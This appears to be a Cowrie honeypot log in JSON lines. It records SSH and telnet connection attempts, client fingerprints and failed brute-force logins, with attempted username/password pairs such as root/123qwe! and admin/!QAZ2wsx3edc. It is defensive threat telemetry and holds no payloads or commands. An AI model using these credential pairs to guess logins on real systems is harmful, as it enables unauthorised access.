{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:55.998375Z","src_ip":"190.244.39.232","session":"d9f13dc79ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoophadoop","message":"login attempt [hadoop/hadoophadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:56.848854Z","src_ip":"190.244.39.232","session":"d9f13dc79ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.681561946868896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:56.926920Z","src_ip":"148.230.134.28","session":"1249fba43a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59230,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a78eba8f0d0","protocol":"telnet","message":"New connection: 137.184.155.248:59230 (10.17.0.5:23) [session: 2a78eba8f0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:57.310153Z"}
{"eventid":"cowrie.session.closed","duration":32.35050082206726,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:57.931356Z","src_ip":"148.230.134.28","session":"582782a04c86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:58.046893Z","src_ip":"190.244.39.232","session":"d9f13dc79ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.548773050308228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:31:58.892069Z","src_ip":"148.230.134.28","session":"8740156b113e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":60721,"dst_ip":"159.203.135.109","dst_port":22,"session":"97164d850f6c","protocol":"ssh","message":"New connection: 103.86.180.10:60721 (159.203.135.109:22) [session: 97164d850f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:00.210033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:00.214753Z","src_ip":"103.86.180.10","session":"97164d850f6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:00.412167Z","src_ip":"103.86.180.10","session":"97164d850f6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2020","message":"login attempt [ftpuser/ftpuser2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:01.231113Z","src_ip":"103.86.180.10","session":"97164d850f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:02.430557Z","src_ip":"103.86.180.10","session":"97164d850f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.134.28","src_port":42860,"dst_ip":"159.203.135.109","dst_port":23,"session":"29bf17494d0f","protocol":"telnet","message":"New connection: 148.230.134.28:42860 (159.203.135.109:23) [session: 29bf17494d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:04.424947Z"}
{"eventid":"cowrie.session.closed","duration":32.220216274261475,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:05.527938Z","src_ip":"148.230.134.28","session":"c18f42ee47f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.612555027008057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:06.904969Z","src_ip":"148.230.134.28","session":"1fd5499ed5b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.361055850982666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:08.654563Z","src_ip":"148.230.134.28","session":"19bae5054522","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":34580,"dst_ip":"10.17.0.5","dst_port":22,"session":"d63ce5464082","protocol":"ssh","message":"New connection: 148.230.169.229:34580 (10.17.0.5:22) [session: d63ce5464082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:11.661917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:11.666654Z","src_ip":"148.230.169.229","session":"d63ce5464082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:11.732678Z","src_ip":"148.230.169.229","session":"d63ce5464082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty1!","message":"login attempt [ubuntu/Qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:12.028246Z","src_ip":"148.230.169.229","session":"d63ce5464082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:13.095340Z","src_ip":"148.230.169.229","session":"d63ce5464082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.64232778549194,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:14.219956Z","src_ip":"148.230.134.28","session":"4f3bad7a6b6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35674,"dst_ip":"10.17.0.5","dst_port":23,"session":"16a06a651790","protocol":"telnet","message":"New connection: 137.184.155.248:35674 (10.17.0.5:23) [session: 16a06a651790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:15.590619Z"}
{"eventid":"cowrie.session.closed","duration":31.85657501220703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:18.276717Z","src_ip":"148.230.134.28","session":"f463fa3035e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47976,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcddabe55077","protocol":"telnet","message":"New connection: 137.184.155.248:47976 (10.17.0.5:23) [session: bcddabe55077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:26.935237Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.188.181.103","src_port":55998,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec03cb95cd53","protocol":"telnet","message":"New connection: 187.188.181.103:55998 (159.203.135.109:23) [session: ec03cb95cd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:29.096735Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47990,"dst_ip":"10.17.0.5","dst_port":23,"session":"c89c2602f058","protocol":"telnet","message":"New connection: 137.184.155.248:47990 (10.17.0.5:23) [session: c89c2602f058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:30.204247Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.211.63.159","src_port":50300,"dst_ip":"10.17.0.5","dst_port":23,"session":"46aed22ac37f","protocol":"telnet","message":"New connection: 195.211.63.159:50300 (10.17.0.5:23) [session: 46aed22ac37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:30.486563Z"}
{"eventid":"cowrie.session.closed","duration":30.78009867668152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:35.204969Z","src_ip":"148.230.134.28","session":"29bf17494d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.383877754211426,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:35.587903Z","src_ip":"137.184.155.248","session":"c89c2602f058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49868,"dst_ip":"10.17.0.5","dst_port":23,"session":"12b6134c2f46","protocol":"telnet","message":"New connection: 137.184.155.248:49868 (10.17.0.5:23) [session: 12b6134c2f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:35.648693Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49882,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d9312db4b1","protocol":"telnet","message":"New connection: 137.184.155.248:49882 (10.17.0.5:23) [session: 90d9312db4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:35.827614Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":50212,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d2c10b9ca6b","protocol":"ssh","message":"New connection: 41.86.34.139:50212 (10.17.0.5:22) [session: 8d2c10b9ca6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:36.402137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:36.406237Z","src_ip":"41.86.34.139","session":"8d2c10b9ca6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:36.613383Z","src_ip":"41.86.34.139","session":"8d2c10b9ca6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx3edc","message":"login attempt [admin/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:37.475774Z","src_ip":"41.86.34.139","session":"8d2c10b9ca6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:38.685495Z","src_ip":"41.86.34.139","session":"8d2c10b9ca6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49890,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f9c62efc431","protocol":"telnet","message":"New connection: 137.184.155.248:49890 (10.17.0.5:23) [session: 0f9c62efc431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:41.420413Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":32902,"dst_ip":"10.17.0.5","dst_port":22,"session":"f700f834fb4e","protocol":"ssh","message":"New connection: 186.4.240.226:32902 (10.17.0.5:22) [session: f700f834fb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:43.206424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:43.210471Z","src_ip":"186.4.240.226","session":"f700f834fb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:43.297915Z","src_ip":"186.4.240.226","session":"f700f834fb4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00132036209106,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:43.661362Z","src_ip":"148.230.134.28","session":"545cfae1c740","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!","message":"login attempt [root/123qwe!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:43.690245Z","src_ip":"186.4.240.226","session":"f700f834fb4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00145721435547,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:43.835893Z","src_ip":"148.230.134.28","session":"265003e7dcbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.39828610420227,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:43.884717Z","src_ip":"195.211.63.159","session":"46aed22ac37f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:44.780685Z","src_ip":"186.4.240.226","session":"f700f834fb4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":57560,"dst_ip":"159.203.135.109","dst_port":22,"session":"503252161eea","protocol":"ssh","message":"New connection: 72.253.251.7:57560 (159.203.135.109:22) [session: 503252161eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:46.438349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:46.447240Z","src_ip":"72.253.251.7","session":"503252161eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:46.561234Z","src_ip":"72.253.251.7","session":"503252161eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.40187692642212,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:46.711911Z","src_ip":"137.184.155.248","session":"2a78eba8f0d0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2025","message":"login attempt [root/root2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:47.021562Z","src_ip":"72.253.251.7","session":"503252161eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:48.141115Z","src_ip":"72.253.251.7","session":"503252161eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":46368,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbf26059d5c2","protocol":"ssh","message":"New connection: 202.125.94.71:46368 (159.203.135.109:22) [session: fbf26059d5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:51.496317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:32:51.501215Z","src_ip":"202.125.94.71","session":"fbf26059d5c2","protocol":"ssh"}
